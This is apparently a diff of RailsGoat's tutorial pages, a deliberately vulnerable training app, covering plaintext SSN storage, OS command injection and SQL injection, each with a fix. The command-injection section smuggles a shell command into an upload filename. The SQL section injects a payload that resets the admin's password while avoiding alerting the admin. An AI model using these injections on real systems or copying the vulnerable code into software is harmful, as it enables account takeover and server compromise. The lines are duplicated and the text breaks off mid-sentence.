The Railsgoat application stores user's Social Security Numbers in plain-text within the database and because of this, it fails to adequately protect these numbers from theft. Additionally, the user's full SSN is sent back to the user within an HTTP response from the application.
|
The Railsgoat application stores user's Social Security Numbers in plain-text within the database and because of this, it fails to adequately protect these numbers from theft. Additionally, the user's full SSN is sent back to the user within an HTTP response from the application.
|
||||||
</p>
|
</p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The WorkInfo model (app/models/work_info.rb) is missing code to encrypt this data prior to storage. Additionally, while code exists to render only the last 4 numbers of an SSN (shown below), at no time is it used.
|
The WorkInfo model (app/models/work_info.rb) is missing code to encrypt this data prior to storage. Additionally, while code exists to render only the last 4 numbers of an SSN (shown below), at no time is it used.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# We should probably use this
|
# We should probably use this
|
||||||
def last_four
|
def last_four
|
||||||
"***-**-" << self.decrypt_ssn[-4,4]
|
"***-**-" << self.decrypt_ssn[-4,4]
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -58,100 +58,100 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseSSNThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseSSNThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>SSN Storage - SOLUTION</b></p>
|
<p><b>SSN Storage - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
There is a lot of guidance on adequately protecting sensitive data at rest and using a layered defensive approach. Make no mistake, this should not be your sole means of securing sensitive data. That being said, there are at least four precautions that should be taken.
|
There is a lot of guidance on adequately protecting sensitive data at rest and using a layered defensive approach. Make no mistake, this should not be your sole means of securing sensitive data. That being said, there are at least four precautions that should be taken.
|
||||||
<li>The sensitive data is encrypted everywhere, including backups</li>
|
<li>The sensitive data is encrypted everywhere, including backups</li>
|
||||||
<li>Only authorized users can access decrypted copies of the data </li>
|
<li>Only authorized users can access decrypted copies of the data </li>
|
||||||
<li>Use a strong algorithm</li>
|
<li>Use a strong algorithm</li>
|
||||||
<li>Strong key is generated, protected from unauthorized access, and key change is planned for.</li><br/>
|
<li>Strong key is generated, protected from unauthorized access, and key change is planned for.</li><br/>
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
In the following code, we demonstrate switching from the storage of full SSN(s) in clear-text to storing them in the AES-256 encrypted format. The first thing to do is build the encrypt and decrypt functions. These can be found within app/models/work_info.rb.
|
In the following code, we demonstrate switching from the storage of full SSN(s) in clear-text to storing them in the AES-256 encrypted format. The first thing to do is build the encrypt and decrypt functions. These can be found within app/models/work_info.rb.
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def encrypt_ssn
|
def encrypt_ssn
|
||||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||||
aes.encrypt
|
aes.encrypt
|
||||||
aes.key = key
|
aes.key = key
|
||||||
aes.iv = iv if iv != nil
|
aes.iv = iv if iv != nil
|
||||||
self.encrypted_ssn = aes.update(self.SSN) + aes.final
|
self.encrypted_ssn = aes.update(self.SSN) + aes.final
|
||||||
self.SSN = nil
|
self.SSN = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
def decrypt_ssn
|
def decrypt_ssn
|
||||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||||
aes.decrypt
|
aes.decrypt
|
||||||
aes.key = key
|
aes.key = key
|
||||||
aes.iv = iv if iv != nil
|
aes.iv = iv if iv != nil
|
||||||
aes.update(self.encrypted_ssn) + aes.final
|
aes.update(self.encrypted_ssn) + aes.final
|
||||||
end
|
end
|
||||||
|
|
||||||
def key
|
def key
|
||||||
raise "Key Missing" if !(KEY)
|
raise "Key Missing" if !(KEY)
|
||||||
KEY
|
KEY
|
||||||
end
|
end
|
||||||
|
|
||||||
def iv
|
def iv
|
||||||
raise "No IV for this User" if !(self.key_management.iv)
|
raise "No IV for this User" if !(self.key_management.iv)
|
||||||
self.key_management.iv
|
self.key_management.iv
|
||||||
end
|
end
|
||||||
|
|
||||||
def cipher_type
|
def cipher_type
|
||||||
'aes-256-cbc'
|
'aes-256-cbc'
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Also within the WorkInfo model, we add the following line of code...
|
Also within the WorkInfo model, we add the following line of code...
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
before_save :encrypt_ssn
|
before_save :encrypt_ssn
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The remaining pieces are:
|
The remaining pieces are:
|
||||||
<li> We "seed" the database with per-user initialization vectors (IV) and store them within the key_management table</li>
|
<li> We "seed" the database with per-user initialization vectors (IV) and store them within the key_management table</li>
|
||||||
<li> Separate production and development encryption keys. Production keys should be stored in an HSM, environment variable, etc. but never within the source code. Development keys are irrelevant if not being used for real data</li>
|
<li> Separate production and development encryption keys. Production keys should be stored in an HSM, environment variable, etc. but never within the source code. Development keys are irrelevant if not being used for real data</li>
|
||||||
<li> Change the view where SSNs are called and rendered to the user so that the "last_four" method is called instead</li>
|
<li> Change the view where SSNs are called and rendered to the user so that the "last_four" method is called instead</li>
|
||||||
<li> For new user's who are registering, we create an initialization specific to their account</li>
|
<li> For new user's who are registering, we create an initialization specific to their account</li>
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# SEED DATA
|
# SEED DATA
|
||||||
work_info.each do |wi|
|
work_info.each do |wi|
|
||||||
list = [:user_id, :SSN]
|
list = [:user_id, :SSN]
|
||||||
info = WorkInfo.new(wi.reject {|k| list.include?(k)})
|
info = WorkInfo.new(wi.reject {|k| list.include?(k)})
|
||||||
info.user_id = wi[:user_id]
|
info.user_id = wi[:user_id]
|
||||||
info.build_key_management({:user_id => wi[:user_id], :iv => SecureRandom.hex(32) })
|
info.build_key_management({:user_id => wi[:user_id], :iv => SecureRandom.hex(32) })
|
||||||
info.SSN = wi[:SSN]
|
info.SSN = wi[:SSN]
|
||||||
info.save
|
info.save
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# SEPARATE PROD AND DEV KEYS (config/initializers/key.rb)
|
# SEPARATE PROD AND DEV KEYS (config/initializers/key.rb)
|
||||||
if Rails.env.production?
|
if Rails.env.production?
|
||||||
# Specify env variable/location/etc. to retrieve key from
|
# Specify env variable/location/etc. to retrieve key from
|
||||||
elsif Rails.env.development?
|
elsif Rails.env.development?
|
||||||
KEY = "123456789101112123456789101112123456789101112"
|
KEY = "123456789101112123456789101112123456789101112"
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
# CHANGE VIEW TO CALL LAST FOUR METHOD (app/views/work_info/index.html.erb)
|
# CHANGE VIEW TO CALL LAST FOUR METHOD (app/views/work_info/index.html.erb)
|
||||||
<%= CGI.unescapeHTML("<td class="ssn"><%= @user.work_info.last_four %></td>") %>
|
<%= CGI.unescapeHTML("<td class="ssn"><%= @user.work_info.last_four %></td>") %>
|
||||||
</pre>
|
</pre>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def build_benefits_data
|
def build_benefits_data
|
||||||
build_retirement(POPULATE_RETIREMENTS.shuffle.first)
|
build_retirement(POPULATE_RETIREMENTS.shuffle.first)
|
||||||
build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
|
build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
|
||||||
build_work_info(POPULATE_WORK_INFO.shuffle.first)
|
build_work_info(POPULATE_WORK_INFO.shuffle.first)
|
||||||
# Uncomment below line to use encrypted SSN(s)
|
# Uncomment below line to use encrypted SSN(s)
|
||||||
work_info.build_key_management(:iv => SecureRandom.hex(32))
|
work_info.build_key_management(:iv => SecureRandom.hex(32))
|
||||||
performance.build(POPULATE_PERFORMANCE.shuffle.first)
|
performance.build(POPULATE_PERFORMANCE.shuffle.first)
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseSSNFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseSSNFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
|
|||||||
@@ -17,8 +17,8 @@
|
|||||||
<div class="accordion-body in collapse" id="collapseNine" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseNine" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.
|
An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -32,50 +32,50 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseTen" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTen" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
This manifestation of the bug occurs within the Benefits model. A system command is used to make a copy of the file the user has chosen to upload. User-supplied input is leveraged in creating this system command.
|
This manifestation of the bug occurs within the Benefits model. A system command is used to make a copy of the file the user has chosen to upload. User-supplied input is leveraged in creating this system command.
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
Within app/controllers/benefits_controller.rb:
|
Within app/controllers/benefits_controller.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def upload
|
def upload
|
||||||
<span style="background:yellow">file = params[:benefits][:upload]</span>
|
<span style="background:yellow">file = params[:benefits][:upload]</span>
|
||||||
if file
|
if file
|
||||||
flash[:success] = "File Successfully Uploaded!"
|
flash[:success] = "File Successfully Uploaded!"
|
||||||
<span style="background:yellow">Benefits.save(file, params[:benefits][:backup])</span>
|
<span style="background:yellow">Benefits.save(file, params[:benefits][:backup])</span>
|
||||||
else
|
else
|
||||||
flash[:error] = "Something went wrong"
|
flash[:error] = "Something went wrong"
|
||||||
end
|
end
|
||||||
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p>
|
<p>
|
||||||
Within app/models/benefits.rb:
|
Within app/models/benefits.rb:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
class Benefits < ActiveRecord::Base
|
class Benefits < ActiveRecord::Base
|
||||||
attr_accessor :backup
|
attr_accessor :backup
|
||||||
|
|
||||||
def self.save(file, backup=false)
|
def self.save(file, backup=false)
|
||||||
data_path = Rails.root.join("public", "data")
|
data_path = Rails.root.join("public", "data")
|
||||||
full_file_name = "#{data_path}/#{file.original_filename}"
|
full_file_name = "#{data_path}/#{file.original_filename}"
|
||||||
f = File.open(full_file_name, "w+")
|
f = File.open(full_file_name, "w+")
|
||||||
f.write file.read
|
f.write file.read
|
||||||
f.close
|
f.close
|
||||||
make_backup(file, data_path, full_file_name) if backup == "true"
|
make_backup(file, data_path, full_file_name) if backup == "true"
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.make_backup(file, data_path, full_file_name)
|
def self.make_backup(file, data_path, full_file_name)
|
||||||
system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{<span style="background:yellow">file.original_filename</span>}")
|
system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{<span style="background:yellow">file.original_filename</span>}")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The command injection vulnerability is introduced when the user-supplied input (name of file) is interpolated or mixed in with a system command.
|
The command injection vulnerability is introduced when the user-supplied input (name of file) is interpolated or mixed in with a system command.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -90,54 +90,54 @@
|
|||||||
<div class="accordion-body collapse" id="collapseEleven" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseEleven" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>Command Injection - ATTACK</b></p>
|
<p><b>Command Injection - ATTACK</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The filename portion of the benefits[upload] parameter is vulnerable to command injection. Navigate to the benefits section of the application, and choose a file to upload. Once the file is chosen, turn your intercepting proxy on, click start upload, and intercept the request. you will want to change the backup option to true (highlighted below) and inject your commands within the filename parameter (highlighted). Note: forward slashes ('/') are escaped by the original_filename method (used to extract the file name ).
|
The filename portion of the benefits[upload] parameter is vulnerable to command injection. Navigate to the benefits section of the application, and choose a file to upload. Once the file is chosen, turn your intercepting proxy on, click start upload, and intercept the request. you will want to change the backup option to true (highlighted below) and inject your commands within the filename parameter (highlighted). Note: forward slashes ('/') are escaped by the original_filename method (used to extract the file name ).
|
||||||
</p>
|
</p>
|
||||||
<pre class='ruby'>
|
<pre class='ruby'>
|
||||||
POST /upload HTTP/1.1
|
POST /upload HTTP/1.1
|
||||||
Host: railsgoat.dev
|
Host: railsgoat.dev
|
||||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
Accept-Language: en-US,en;q=0.5
|
Accept-Language: en-US,en;q=0.5
|
||||||
Accept-Encoding: gzip, deflate
|
Accept-Encoding: gzip, deflate
|
||||||
Referer: http://railsgoat.dev/users/5/benefit_forms
|
Referer: http://railsgoat.dev/users/5/benefit_forms
|
||||||
Cookie: _railsgoat_session=[redacted for brevity]
|
Cookie: _railsgoat_session=[redacted for brevity]
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
Content-Type: multipart/form-data; boundary=--------54316025
|
Content-Type: multipart/form-data; boundary=--------54316025
|
||||||
Content-Length: 1731
|
Content-Length: 1731
|
||||||
|
|
||||||
----------54316025
|
----------54316025
|
||||||
Content-Disposition: form-data; name="utf8"
|
Content-Disposition: form-data; name="utf8"
|
||||||
|
|
||||||
â
|
â
|
||||||
----------54316025
|
----------54316025
|
||||||
Content-Disposition: form-data; name="authenticity_token"
|
Content-Disposition: form-data; name="authenticity_token"
|
||||||
|
|
||||||
zKnXZO1PGcM+rFweczO7H8IDQ6NHmc8Siud2ypM6ZeA=
|
zKnXZO1PGcM+rFweczO7H8IDQ6NHmc8Siud2ypM6ZeA=
|
||||||
----------54316025
|
----------54316025
|
||||||
Content-Disposition: form-data; name="benefits[backup]"
|
Content-Disposition: form-data; name="benefits[backup]"
|
||||||
|
|
||||||
<span style="background:yellow">true</span>
|
<span style="background:yellow">true</span>
|
||||||
----------54316025
|
----------54316025
|
||||||
Content-Disposition: form-data; name="benefits[upload]"; <span style="background:yellow">filename="test.rb;+mkdir+thisisatest "</span>
|
Content-Disposition: form-data; name="benefits[upload]"; <span style="background:yellow">filename="test.rb;+mkdir+thisisatest "</span>
|
||||||
Content-Type: text/x-ruby-script
|
Content-Type: text/x-ruby-script
|
||||||
</pre>
|
</pre>
|
||||||
<p><b>Command Injection - SOLUTION</b></p>
|
<p><b>Command Injection - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The solution is fairly simple and because this is so poorly done there are numerous ways to fix the vulnerability. One option, is to abstract a file creation method and pass it options such as the path and filename, then call it twice, once for the initial upload and another for the backup. Another option is to make a copy through the use of the FileUtils.
|
The solution is fairly simple and because this is so poorly done there are numerous ways to fix the vulnerability. One option, is to abstract a file creation method and pass it options such as the path and filename, then call it twice, once for the initial upload and another for the backup. Another option is to make a copy through the use of the FileUtils.
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
As an example:
|
As an example:
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def self.make_backup(file, data_path, full_file_name)
|
def self.make_backup(file, data_path, full_file_name)
|
||||||
FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}_#{file.original_filename}"
|
FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}_#{file.original_filename}"
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="accordion-group">
|
<div class="accordion-group">
|
||||||
<div class="accordion-heading">
|
<div class="accordion-heading">
|
||||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseTwelve" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
<a style="background-color: rgb(181, 121, 158)" href="#collapseTwelve" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||||
<i class="icon-aid icon-white">
|
<i class="icon-aid icon-white">
|
||||||
@@ -151,6 +151,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -17,8 +17,8 @@
|
|||||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p>
|
<p>
|
||||||
Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
|
Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -32,30 +32,30 @@
|
|||||||
</div>
|
</div>
|
||||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
This example of SQL Injection also happens to be a form of <%= link_to "Insecure Direct Object Reference", insecure_dor_tutorials_path, {:target => "_blank", :style => "color: rgb(181, 121, 158)"} %> since it uses user-supplied input to determine the user's profile to update. However, we will discuss the SQL query being used and why it is vulnerable.
|
This example of SQL Injection also happens to be a form of <%= link_to "Insecure Direct Object Reference", insecure_dor_tutorials_path, {:target => "_blank", :style => "color: rgb(181, 121, 158)"} %> since it uses user-supplied input to determine the user's profile to update. However, we will discuss the SQL query being used and why it is vulnerable.
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
Within app/controllers/users_controller.rb
|
Within app/controllers/users_controller.rb
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def update
|
def update
|
||||||
message = false
|
message = false
|
||||||
<span style="background-color:yellow"> user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")</span>
|
<span style="background-color:yellow"> user = User.find(:first, :conditions => "user_id = '#{params[:user][:user_id]}'")</span>
|
||||||
user.skip_user_id_assign = true
|
user.skip_user_id_assign = true
|
||||||
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
|
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
|
||||||
pass = params[:user][:password]
|
pass = params[:user][:password]
|
||||||
user.password = pass if !(pass.blank?)
|
user.password = pass if !(pass.blank?)
|
||||||
message = true if user.save!
|
message = true if user.save!
|
||||||
respond_to do |format|
|
respond_to do |format|
|
||||||
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
|
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
|
||||||
format.json { render :json => {:msg => message ? "success" : "false "} }
|
format.json { render :json => {:msg => message ? "success" : "false "} }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string.
|
The injection vulnerability is introduced when user-supplied input is placed within the SQL string that will be executed as a query. The application will not be able to determine which portion of this query is data and which portion is a query as the user input is interpolated or co-mingled with the query string.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -70,77 +70,77 @@
|
|||||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||||
<div class="accordion-inner">
|
<div class="accordion-inner">
|
||||||
<p><b>SQL Injection - ATTACK</b></p>
|
<p><b>SQL Injection - ATTACK</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
You will need to use an intercepting proxy or otherwise modify the request prior to it being received by the application. Browse to account_settings (top right, drop-down). Once at the account settings page, type in passwords, and click submit. Now modify the request from:
|
You will need to use an intercepting proxy or otherwise modify the request prior to it being received by the application. Browse to account_settings (top right, drop-down). Once at the account settings page, type in passwords, and click submit. Now modify the request from:
|
||||||
<p>
|
<p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
POST /users/5.json HTTP/1.1
|
POST /users/5.json HTTP/1.1
|
||||||
Host: railsgoat.dev
|
Host: railsgoat.dev
|
||||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
||||||
Accept: */*
|
Accept: */*
|
||||||
Accept-Language: en-US,en;q=0.5
|
Accept-Language: en-US,en;q=0.5
|
||||||
Accept-Encoding: gzip, deflate
|
Accept-Encoding: gzip, deflate
|
||||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
X-Requested-With: XMLHttpRequest
|
X-Requested-With: XMLHttpRequest
|
||||||
Referer: http://railsgoat.dev/users/5/account_settings
|
Referer: http://railsgoat.dev/users/5/account_settings
|
||||||
Content-Length: 294
|
Content-Length: 294
|
||||||
Cookie: _railsgoat_session=[redacted]
|
Cookie: _railsgoat_session=[redacted]
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
Pragma: no-cache
|
Pragma: no-cache
|
||||||
Cache-Control: no-cache
|
Cache-Control: no-cache
|
||||||
utf8=â&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background-color: yellow"> user[user_id]=5</span>&user[email]=ken@metacorp.com&user[first_name]=Ken&user[last_name]=Johnson&user[password]=testtest&user[password_confirmation]=testtest
|
utf8=â&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background-color: yellow"> user[user_id]=5</span>&user[email]=ken@metacorp.com&user[first_name]=Ken&user[last_name]=Johnson&user[password]=testtest&user[password_confirmation]=testtest
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection. <b> It is important to note that we have omitted the email, first, and last name parameters as a duplicate email address will cause errors. Additionally, we do not wish to change the admin's first and last name as this would alert the admin to the "hack".</b>
|
Now we will inject some SQL Query syntax that will return the first result of a query that looks for users that have an admin attribute that is true. So essentially, instead of looking up the user whose data we will change by our user ID, we tell the database to return the first admin and update their data. In this instance, we are changing admin@metacorp.com's password to testtest. We can later login as that user. Granted, we could just change the user_id to 1 and do the same thing, and there are other ways to exploit this weakness but this is a clear-cut example of SQL Injection. <b> It is important to note that we have omitted the email, first, and last name parameters as a duplicate email address will cause errors. Additionally, we do not wish to change the admin's first and last name as this would alert the admin to the "hack".</b>
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
POST /users/5.json HTTP/1.1
|
POST /users/5.json HTTP/1.1
|
||||||
Host: railsgoat.dev
|
Host: railsgoat.dev
|
||||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
||||||
Accept: */*
|
Accept: */*
|
||||||
Accept-Language: en-US,en;q=0.5
|
Accept-Language: en-US,en;q=0.5
|
||||||
Accept-Encoding: gzip, deflate
|
Accept-Encoding: gzip, deflate
|
||||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
X-Requested-With: XMLHttpRequest
|
X-Requested-With: XMLHttpRequest
|
||||||
Referer: http://railsgoat.dev/users/5/account_settings
|
Referer: http://railsgoat.dev/users/5/account_settings
|
||||||
Content-Length: 208
|
Content-Length: 208
|
||||||
Cookie: _railsgoat_session=[redacted]
|
Cookie: _railsgoat_session=[redacted]
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
Pragma: no-cache
|
Pragma: no-cache
|
||||||
Cache-Control: no-cache
|
Cache-Control: no-cache
|
||||||
|
|
||||||
utf8=â&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background:yellow">user[user_id]=5') OR admin = 't' --'")</span>&user[password]=testtest1&user[password_confirmation]=testtest1
|
utf8=â&_method=put&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&<span style="background:yellow">user[user_id]=5') OR admin = 't' --'")</span>&user[password]=testtest1&user[password_confirmation]=testtest1
|
||||||
</pre>
|
</pre>
|
||||||
<p><b>SQL Injection - SOLUTION</b></p>
|
<p><b>SQL Injection - SOLUTION</b></p>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.<br/><br/>
|
In this instance, the more secure route would be to reference the current_user object versus pulling from the database manually, using POST parameters provided by the user.<br/><br/>
|
||||||
</p>
|
</p>
|
||||||
<pre class="ruby">
|
<pre class="ruby">
|
||||||
def update
|
def update
|
||||||
message = false
|
message = false
|
||||||
<span style="background-color:yellow">user = current_user</span>
|
<span style="background-color:yellow">user = current_user</span>
|
||||||
|
|
||||||
user.skip_user_id_assign = true
|
user.skip_user_id_assign = true
|
||||||
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
|
user.update_attributes(params[:user].reject { |k| k == ("password" || "password_confirmation") || "user_id" })
|
||||||
pass = params[:user][:password]
|
pass = params[:user][:password]
|
||||||
user.password = pass if !(pass.blank?)
|
user.password = pass if !(pass.blank?)
|
||||||
message = true if user.save!
|
message = true if user.save!
|
||||||
respond_to do |format|
|
respond_to do |format|
|
||||||
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
|
format.html { redirect_to user_account_settings_path(:user_id => current_user.user_id) }
|
||||||
format.json { render :json => {:msg => message ? "success" : "false "} }
|
format.json { render :json => {:msg => message ? "success" : "false "} }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
</pre>
|
</pre>
|
||||||
<p class="desc">
|
<p class="desc">
|
||||||
...However, since we are discussing fixing vulnerable SQL queries, let's discuss parameterized queries. Parameterized queries separate the SQL Query from the dynamic and often untrusted data. You could replace the string interpolated value with the following query and effectively separate the query from untrusted data:
|
